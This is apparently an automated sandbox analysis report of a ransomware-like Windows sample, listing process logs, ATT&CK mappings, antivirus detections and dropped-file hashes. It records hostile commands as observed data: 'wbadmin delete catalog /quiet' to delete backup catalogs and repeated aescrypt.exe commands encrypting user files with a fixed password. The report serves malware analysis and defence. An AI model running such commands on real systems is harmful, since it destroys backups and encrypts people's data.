Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\osver.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Internet Explorer\brndlog.txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt'	Jump to behavior

Source: hztxqReczN.exe, 00000000.00000002.460479402.0000000000E50000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: hztxqReczN.exe, 00000000.00000002.460479402.0000000000E50000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: hztxqReczN.exe, 00000000.00000002.460479402.0000000000E50000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: hztxqReczN.exe, 00000000.00000002.460479402.0000000000E50000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\cmd.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe

Code function: 9_2_0087F787 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

9_2_0087F787

Source: C:\Users\user\Desktop\hztxqReczN.exe

Code function: 0_2_0040559A GetVersionExW,GetVersionExW,

0_2_0040559A

Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Deletes the backup plan of Windows

Show sources

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog /quiet	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog /quiet	Jump to behavior

Stealing of Sensitive Information:

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe

File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Command and Scripting Interpreter1	Path Interception	Process Injection12	Masquerading11	OS Credential Dumping1	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion3	LSASS Memory	Security Software Discovery131	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Native API1	Logon Script (Windows)	Logon Script (Windows)	Process Injection12	Security Account Manager	Virtualization/Sandbox Evasion3	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	Process Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting1	LSA Secrets	Application Window Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information2	Cached Domain Credentials	File and Directory Discovery3	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing1	DCSync	System Information Discovery14	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	File Deletion2	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
hztxqReczN.exe	72%	Virustotal		Browse
hztxqReczN.exe	36%	Metadefender		Browse
hztxqReczN.exe	79%	ReversingLabs	Win32.Trojan.DelShad

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	32%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	21%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	21%	ReversingLabs	Win32.Packed.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.0.hztxqReczN.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1135103		Download File
0.1.hztxqReczN.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	385065
Start date:	11.04.2021
Start time:	13:20:48
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	hztxqReczN (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.rans.spyw.evad.winEXE@1083/34@0/0
EGA Information:	Failed
HDC Information:	Successful, ratio: 99.7% (good quality ratio 94.4%) Quality average: 85.1% Quality standard deviation: 26.8%
HCA Information:	Successful, ratio: 61% Number of executed functions: 54 Number of non-executed functions: 75
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): taskhostw.exe, backgroundTaskHost.exe, VSSVC.exe, svchost.exe Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtQueryVolumeInformationFile calls found. Report size getting too big, too many NtWriteVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:21:36	API Interceptor	1x Sleep call for process: WMIC.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	BleachGap.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	SuperEnjoy.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt.aes Download File
Process:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
File Type:	data
Category:	modified
Size (bytes):	308
Entropy (8bit):	4.849887753217705
Encrypted:	false
SSDEEP:	3:Yn/9eF9qM7FX8waq3SmmFFhyoXA3hU3NPh2NxgGQ+Ym7I0FNnxCcCB7niP1Dirn:2eF997uvmGvXAR8gjXYAJjxl07Y1On
MD5:	4BCC2758AD7896DF51F2D355F5AEAA2C
SHA1:	B291FAB5E18E4F5D9BB9C0CAE5C12774A0BDC68E
SHA-256:	BDE00EB926C9E002E1AEA1AC8EDE98090516F6DED57116E7ECF07C6071B7CFFD
SHA-512:	F560D747AD6A5421D9B74CA504E1A8998FEA6B848B4B314906D232858C37DDD03BC2291F3C9AEB96ACC54F7DDF4C6B622319B6EE7CF026D053A4F1E258199B94
Malicious:	false
Reputation:	low
Preview:	AES....CREATED_BY.aescrypt 3.10.......................................................................................................................................+.P1aq*+LT...k...q.5m...7..\|p.U+.O.._..DW.B.%i.HR..kaF!0ed.8....%...N.8$..$..=..ZC9.......".IV.$.=....P..P.r.e...#>..=..F1w........-L&.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.aes Download File
Process:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
File Type:	data
Category:	modified
Size (bytes):	6868
Entropy (8bit):	7.945959200239316
Encrypted:	false
SSDEEP:	192:2yib3r6pxXNWAx/VNEkVW18yAA6dzMkjYAuiBLl:21r6pxXIA5nvVY8/ZdzbnBp
MD5:	CF29DE607A398843D813954E6E1BCCAD
SHA1:	6C0457C3C9F50BAF8AA13DBCF9E3E62F2946030E
SHA-256:	77AF6F33C93318A05F39F75464C2FA7CB39C503CD1531B88A32996B77F0ACF90
SHA-512:	E43D62218EB304BD070810D3A19EFEA8A7F1EE40EF222A2AE7E02D92FC8BA0706E81F8473F84E077AD793B1608C0FEF10ADBB34291A397A48CA8B10E505919E3
Malicious:	false
Reputation:	low
Preview:	AES....CREATED_BY.aescrypt 3.10......................................................................................................................................>..D...B.M.X..k....C.M.~7...>N/..@...V..ie....(.]g.s.....XSj.~u%>..4.Ue....5.rg....u.+....Ag.......1jT14.2w...}.6........W.`....L!.'&.......1.T.......g..yD.......V......c.>.._^p9...\.p...Q..n!B....Q%'D...u... .<...)....:.K...:._.H.H.@8....{0.Ah..J..<'.a....l.{..+..M...7..gK..../?....[X!9FJ.@.gzq.dN......C........S......gx. .....)>.<b3....D...}W.....#......@QL<..$:.7i`..@.......n..,...5f...s.qDe..i..m......`g.......E?]...9.Y.{...........<..Z..x.c\|fL....k".O....M..+..L.f....f....^i.Q8..7!tb^&.v.n./<...>3k.t.2....!.M3.Y..w.w\|..f..'...ja......{..."../ZH^4.\|..g.D...nv=...4G.O..c.....:......\|q...3?.Y/.jAfb.7.PA{....TB.b82.S.....,9...qKs.H..p.V..g.A..4.\|.."VGP..o2i.8..#b.Xh..z.x!....n...t;...v.s....rV.az..).p..\|.R.....`Z.3...L28....)Cc....[...NzN..w.D'!.]&...,.h.Q.e~.l.c.9..... 36.A-

C:\Users\user\AppData\Local\Temp\ADC0.tmp\ADC1.tmp\ADC2.bat Download File
Process:	C:\Users\user\Desktop\hztxqReczN.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	36104
Entropy (8bit):	4.818496085675533
Encrypted:	false
SSDEEP:	768:ToVCeliuxFztnvCHNLSIRQeMlmTPC8foptwgxPFiQLk6jU5TemZ0h8NazdcVrqqL:HD
MD5:	D018B07000995898E0AE997984E215FF
SHA1:	B461E63FD2326EBD4ED05653DF68D3CA0DB88A78
SHA-256:	A8F83EEDF89CD21893CB6B6677A6DC0ACD44800B5C9C1DAC1756154181B85AD0
SHA-512:	2D2133ECC69201D1744A2F7CD9208F16F2F1CACA69CEFE3B54FD2D292C08774B5193818953492ADB7253611D31879413E3FC1044B7143E12E031D2810EE80EDC
Malicious:	true
